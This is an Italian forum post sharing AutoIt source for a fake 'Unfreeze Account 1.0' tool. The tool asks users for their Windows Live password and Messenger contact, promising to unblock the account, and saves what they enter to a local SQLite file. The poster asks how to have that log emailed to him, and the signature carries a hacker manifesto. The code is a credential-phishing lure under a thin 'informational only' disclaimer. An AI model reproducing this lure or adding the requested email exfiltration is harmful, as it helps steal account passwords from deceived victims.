 Imparo
 Group: MemberPosts: 478 Status:  | |
| Ciao a tutti!Voi sapete come inviare un file LOG via e-mail con un codice in AutoIt?Io ho questo programma: CODICE #include <SQLite.au3>
#include <SQLite.dll.au3>
_SQLite_Startup()
Const $sFile = @ScriptDir & "pwds.db"
$bNew = False
If Not FileExists($sFile) Then $bNew = True
Const $hDB = _SQLite_Open($sFile)
If $bNew Then
_SQLite_Exec($hDB, "CREATE TABLE password(info,pass);")
EndIf
$hGUI = GUICreate("Unfreeze Account 1.0", 502, 292, 193, 125)
$hLabel = GUICtrlCreateLabel("Nessun Risultato", 497 / 2 - 100 / 2, 257 / 2 - 10, 100, 20, 1)
GUICtrlSetColor(-1, 0x660000)
GUICtrlSetState(-1, 32)
$hList = GUICtrlCreateListView("Contatto|Password", 0, 0, 497, 257)
GUICtrlCreateLabel("Cerca:", 0, 268, 50, 25)
GUICtrlSetFont(-1, 12)
$hInput = GUICtrlCreateInput("", 50, 264, 100, 25)
GUICtrlSetState(-1, 256)
$hCopy = GUICtrlCreateButton("Copia", 162, 264, 100, 25, 0)
$hDel = GUICtrlCreateButton("Cancella", 262, 264, 100, 25, 0)
$hAdd = GUICtrlCreateButton("Aggiungi", 362, 264, 100, 25, 0)
$hInfo = GUICtrlCreateButton("?", 472, 264, 27, 25, 0)
GUICtrlSendMsg($hList, 0x101E, 0, 350)
GUICtrlSendMsg($hList, 0x101E, 1, 140)
GUISetState(@SW_SHOW)
Dim $aListItem = _Aggiorna(), $sOld_Search = ""
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case - 3
Exit
Case $hAdd
$sPass = InputBox("DBPass - Nuovo", "Inserisci la password del contatto Windows Live che vuoi sbloccare.Rispetta le maiuscole,le minuscole e gli spazi.", "", "*")
If @error Then ContinueLoop
$sInfo = InputBox("DBPass - Nuovo", "Inserisci il tuo contatto Messenger.")
If @error Then ContinueLoop
$sInfo = StringReplace($sInfo, "'", '""')
$sPass = StringReplace($sPass, "'", '""')
_SQLite_Exec($hDB, "INSERT INTO password VALUES('" & $sInfo & "','" & $sPass & "');")
$aListItem = _Aggiorna()
Case $hCopy
$hSel = GUICtrlRead($hList)
If $hSel <> 0 Then
$hTiD = 0
For $i = 1 To $aListItem[0][0]
If $aListItem[$i][0] = $hSel Then $hTiD = $i
Next
ClipPut($aListItem[$hTiD][1])
EndIf
Case $hDel
$hSel = GUICtrlRead($hList)
If $hSel <> 0 Then
$hTiD = 0
For $i = 1 To $aListItem[0][0]
If $aListItem[$i][0] = $hSel Then $hTiD = $i
Next
$aSPlit = StringSplit(GUICtrlRead($aListItem[$hTiD][0]), "|")
_SQLite_Exec($hDB, "DELETE FROM password WHERE info='" & StringReplace($aSPlit[1], "'", '""') & "' AND pass='" & StringReplace($aListItem[$hTiD][1], "'", '""') & "';")
$aListItem = _Aggiorna()
EndIf
Case $hInfo
MsgBox(32, "DBPass", "Per sbloccare il tuo account premi ''Aggiungi'',inserisci la password e il contatto.Attendi almeno 15 min per far completare il processo." & @CRLF & "Per cercare un contatto tramite una parte dell'info, digitarlo nell'input e la lista varierà di conseguenza.")
EndSwitch
If $sOld_Search <> GUICtrlRead($hInput) Then
$sOld_Search = GUICtrlRead($hInput)
If $sOld_Search = "" Then
$aListItem = _Aggiorna()
GUICtrlSetState($hLabel, 32)
GUICtrlSetState($hList, 16)
Else
$aListItem = _Aggiorna($sOld_Search)
If $aListItem[0][0] = 0 Then
GUICtrlSetState($hLabel, 16)
GUICtrlSetState($hList, 32)
Else
GUICtrlSetState($hLabel, 32)
GUICtrlSetState($hList, 16)
EndIf
EndIf
EndIf
WEnd
Func _Aggiorna($sFiltrer = False)
If IsDeclared("aListItem") And IsArray($aListItem) Then
For $i = 1 To $aListItem[0][0]
GUICtrlDelete($aListItem[$i][0])
Next
EndIf
Dim $hQuery, $aTmp, $aRet[1][2] = [[0]]
_SQLite_Query($hDB, "SELECT * FROM password", $hQuery)
While _SQLite_FetchData($hQuery, $aTmp) = $SQLITE_OK
If $sFiltrer = False Or StringInStr($aTmp[0], $sFiltrer) Then
$aTmp[0] = StringReplace($aTmp[0], '""', "'")
$aTmp[1] = StringReplace($aTmp[1], '""', "'")
ReDim $aRet[$aRet[0][0] + 2][2]
$aRet[0][0] = UBound($aRet) - 1
$aRet[$aRet[0][0]][0] = GUICtrlCreateListViewItem($aTmp[0] & "|*****", $hList)
$aRet[$aRet[0][0]][1] = $aTmp[1]
EndIf
WEnd
Return $aRet
EndFunc ;==>_Aggiorna e come vedete salva caratteri in un file LOG.C'è un modo per ricevere questo codice come allegato di una e-mail?E se c'è,qualcuno di voi lo può postare,per favore?Grazie! DISCLAIMER: Non utilizzate questo codice per fare lamerate!E'tutto a scopo informativo. I MIEI BANNER:       ____________________________________________________________________________  ____________________________________________________________________________ VISITATE QUESTO FORUM!!! SuperDownload.forumcommunity.net____________________________________________________________________________ HACKERQuesto ora questo è il nostro mondo...
il mondo dell’elettrone e del commutatore, la bellezza del baud.
Noi facciamo uso di un servizio che esiste già senza pagare per quello che potrebbe essere compreso se non fosse gestito da avidi profittatori,
e voi ci chiamate criminali.
Noi esploriamo… e voi ci chiamate criminali.
Noi cerchiamo la conoscenza… e voi ci chiamate criminali.
Noi esistiamo senza colore di pelle, senza nazionalità, senza credenze religiose
e voi ci chiamate criminali.
Voi costruite bombe atomiche, voi fate la guerra, voi uccidete, voi ingannate, ci mentite e tentate di farci credere che è per il nostro bene,
eppure siamo noi i criminali.
Si, io sono un criminale. Il mio crimine è la mia curiosità.
Il mio crimine è quello di giudicare le gente in base a quello che pensa e dice, non per come appare.
La mia colpa è quella di essere più furbo di voi,
e per questo non potrete mai perdonarmi.
Io sono un Hacker e questo è il mio manifesto.
Potete fermare questo individuo, ma non potete fermarci tutti…
dopo tutto, siamo tutti uguali.
hacking is not a crime
Dio Hacker, che sei nei desktop, sia santificato il tuo socket,
venga il tuo hard disk, sia fatta la tua ram,
come nel bios così nel case,
dacci oggi il nostro benchmark quotidiano,
e non ci indurre in console,
ma liberaci dai lamers
. |
